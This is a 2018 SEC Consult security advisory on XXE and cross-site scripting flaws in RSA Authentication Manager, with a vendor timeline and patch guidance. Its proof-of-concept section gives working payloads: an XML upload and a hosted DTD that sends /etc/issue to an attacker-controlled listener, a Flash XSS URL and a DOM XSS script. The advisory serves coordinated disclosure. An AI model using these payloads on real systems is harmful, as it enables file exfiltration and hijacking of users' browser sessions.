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SEC Consult Vulnerability Lab Security Advisory < 20180516-0 >
=======================================================================
              title: XXE & XSS vulnerabilities
            product: RSA Authentication Manager
 vulnerable version: 8.2.1.4.0-build1394922, < 8.3 P1
      fixed version: 8.3 P1 and later
         CVE number: CVE-2018-1247
             impact: High
           homepage: https://www.rsa.com
              found: 2017-11-16
                 by: Mantas Juskauskas (Office Vilnius)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"RSA provides more than 30,000 customers around the world with the essential
security capabilities to protect their most valuable assets from cyber
threats. With RSA's award-winning products, organizations effectively detect,
investigate, and respond to advanced attacks; confirm and manage identities;
and ultimately, reduce IP theft, fraud, and cybercrime."

Source: https://www.rsa.com/en-us/company/about


Business recommendation:
------------------------
By exploiting the vulnerabilities documented in this advisory an attacker can
obtain sensitive information from the RSA Authentication Manager file system,
initiate arbitrary TCP connections or cause DoS. In addition to this, clients
of the RSA Authentication manager can be affected by exploiting client-side
issues.

SEC Consult recommends to apply the available patches from the vendor.


Vulnerability overview/description:
-----------------------------------
1) XML External Entity Injection (XXE) (CVE-2018-1247)
The used XML parser is resolving XML external entities which allows an
authenticated attacker (or an attacker that is able to trick an authenticated
user into importing malicious XML files) to read files, send requests to
systems on the internal network (e.g port scanning) or cause a DoS (e.g.
billion laughs attack).
This issue has been fixed by RSA as described in the advisory DSA-2018-086.
(http://seclists.org/fulldisclosure/2018/May/18)


2) Cross-site Flashing
The vulnerable flash file does not filter or escape the user input
sufficiently. This leads to a reflected cross-site scripting vulnerability.
With reflected cross-site scripting, an attacker can inject arbitrary HTML or
JavaScript code into the victim's web browser. Once the victim clicks a
malicious link the attacker's code is executed in the context of the victim's
web browser.

The vulnerability exists in a third party component called pmfso.
This issue has been fixed by RSA as described in the advisory DSA-2018-082.


3) DOM based Cross-site Scripting
Several client-side scripts handle user supplied data with insufficient
validation before storing it in the DOM. This issue can be exploited to cause
reflected cross-site scripting.

The identified issues exist in third party components. One of the affected
components is PopCalendarX which has an assigned CVE (CVE-2017-9072).
This issue has been fixed by RSA as described in the advisory DSA-2018-082.

Two further issues affecting other third party components are not yet fixed,
as the third party vendor did not supply a patch to RSA yet.


Proof of concept:
-----------------
1) XML External Entity Injection (XXE) (CVE-2018-1247)

The Security Console of the RSA Authentication Manager allows authenticated
users to import SecurID Token jobs in XML format. By importing an XML file
with malicious XML code to the application, it is possible to exploit a blind
XXE vulnerability within the application.

For example, in order to read arbitrary files from the RSA Authentication
Manager OS, the following malicious XML file can be imported via the affected
endpoint:
==========================================================================================
POST /console-ims/ImportTokenJob.do?ptoken=[snip] HTTP/1.1
Host: <host>:7004
Cookie: [snip]

[snip]

-----------------------------9721941626073
Content-Disposition: form-data; name="textImportFileName.theFile";
filename="xxe_test.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo SYSTEM "http://<attacker>/a.dtd">
<key>
&e1;
</key>
-----------------------------9721941626073
Content-Disposition: form-data; name="textImportFileName.uploadResult"

[snip]

==========================================================================================

In this case, the attacker has to host the defined a.dtd file in the web root
of a controlled web server:
==========================================================================================
# cat /var/www/a.dtd
<!ENTITY % p1 SYSTEM "file:///etc/issue">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://<attacker>:8080/%p1;'>">
%p2;
==========================================================================================

Assuming that the RSA Authentication Manager OS has network level access to
the TCP port 80 and 8080 of the attacker controlled IP address, as soon as the
malicious XML file gets uploaded and parsed, the contents of the /etc/issue
file (as an example) are leaked to a remote listener controlled by the attacker:
==========================================================================================
# nc -nlvp 8080
listening on [any] 8080 ...
connect to [<attacker>] from (UNKNOWN) [<host>] 32817
GET /RSA%20Authentication%20Manager%208.2.1.4.0-build1394922 HTTP/1.1
==========================================================================================

Similarly, contents of other internal files can be obtained from the affected
system with current service user permissions.


2) Cross-site Flashing
The issue affects a third party component pmfso (DSA-2018-082).
To exploit a reflected cross-site scripting via the vulnerable SWF Flash file
it is sufficient to click the following URL:

https://<host>:7004//IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert("Cross-site_Scripting")//


3) DOM based Cross-site Scripting

Example 1:
The issue affects a third party component PopCalendarX (CVE-2017-9072).
To exploit DOM based reflected cross-site scripting it is enough to trick a
victim into executing the following JavaScript (e.g. by clicking on a
specially crafted link):
==========================================================================================
<script>
window.name = "gToday:#' onload='alert(document.domain)' ";
location.href = "https://<host>:7004/IMS-AA-IDP/common/scripts/calendar/ipopeng.htm";
</script>

==========================================================================================

Example 2:
Proof of concept has been removed. The issue affects another third party
component. The fix has not been issued by the third party vendor so far.

Example 3:
Proof of concept has been removed. The issue affects another third party
component. The fix has not been issued by the third party vendor so far.


Vulnerable / tested versions:
-----------------------------
The identified vulnerabilities have been verified to exist in the
RSA Authentication Manager, version 8.2.1.4.0-build1394922 which was the latest
version available during the test.


Vendor contact timeline:
------------------------
2017-11-23: Contacting vendor through security_alert@emc.com
2017-11-24: Vendor confirms the information was received, forwards it
            to the responsible team for investigation and assigns tickets.
2017-12-08: Vendor acknowledges all reported issues as valid. Remediation
            plan is being determined.
2018-01-04: Contacting vendor for a status update.
2018-01-04: Vendor provides a possible fix date.
2018-02-21: Vendor provides a status update regarding the fix release date.
2018-04-24: Vendor contacts for credit text approval.
2018-05-08: Contacting vendor for the reason of uncoordinated public
            release and status information
2018-05-08: Vendor provides an update regarding their public release and
            status of vulnerabilities not included in the release, vendor info:
            * DSA-2018-086 (http://seclists.org/fulldisclosure/2018/May/18)
              was released on 5/4
            * DSA-2018-082 (https://community.rsa.com/docs/DOC-92083)
              was released on 5/3
2018-05-16: Security advisory release


Solution:
---------
The vendor has released an advisory that contains recommendations of how to
resolve the reported XML External Entity Injection Vulnerability:
DSA-2018-086 - https://community.rsa.com/docs/DOC-92085 - (RSA Link Sign On Required)

Full Disclosure archive:
http://seclists.org/fulldisclosure/2018/May/18

Note: the suggested resolution also provides a fix for the Cross-site Flashing
and DOM based Cross-site Scripting (only Example 1) issues provided in the
descriptions above.


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

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EOF M. Juskauskas / @2018